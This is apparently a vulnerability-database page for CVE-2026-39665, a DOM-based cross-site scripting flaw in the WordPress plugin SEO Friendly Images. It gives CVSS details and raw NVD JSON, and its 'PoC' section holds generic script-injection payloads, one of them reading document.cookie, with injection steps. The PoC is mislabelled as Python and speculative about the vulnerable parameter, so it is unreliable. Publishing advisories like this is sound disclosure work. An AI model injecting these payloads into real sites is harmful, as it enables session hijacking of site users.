Security Vulnerability Report
中文
CVE-2026-39665 CVSS 6.5 MEDIUM

CVE-2026-39665

Published: 2026-04-08 09:16:38
Last Modified: 2026-04-24 18:06:04

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vladimir Prelovac SEO Friendly Images seo-image allows DOM-Based XSS.This issue affects SEO Friendly Images: from n/a through <= 3.0.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

SEO Friendly Images <= 3.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-39665 (DOM-Based XSS in SEO Friendly Images) This payload demonstrates the execution of arbitrary JavaScript. An attacker would inject a payload into a vulnerable parameter processed by the plugin's client-side scripts. --> <script> // Simulate the vulnerable behavior where user input is reflected in the DOM without sanitization // Example payload to be injected into a vulnerable attribute or input field: // "><img src=x onerror=alert('CVE-2026-39665')> // In a real scenario, the plugin might take a parameter like 'image_alt' and update the DOM like this: // document.getElementById('target').innerHTML = unescapedUserInput; // Proof of Concept Payload: var payload = '"><script>alert(1)<\/script>'; console.log("Injecting payload: " + payload); // If the plugin is vulnerable, the following line would execute the alert: // document.body.innerHTML += payload; </script> <!-- Usage: 1. Identify the input field or URL parameter used by the plugin that is reflected in the DOM. 2. Inject the payload: "><script>alert(document.cookie)</script> 3. Trigger the execution by loading the page or interacting with the element. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39665", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:37.743", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vladimir Prelovac SEO Friendly Images seo-image allows DOM-Based XSS.This issue affects SEO Friendly Images: from n/a through <= 3.0.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/seo-image/vulnerability/wordpress-seo-friendly-images-plugin-3-0-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}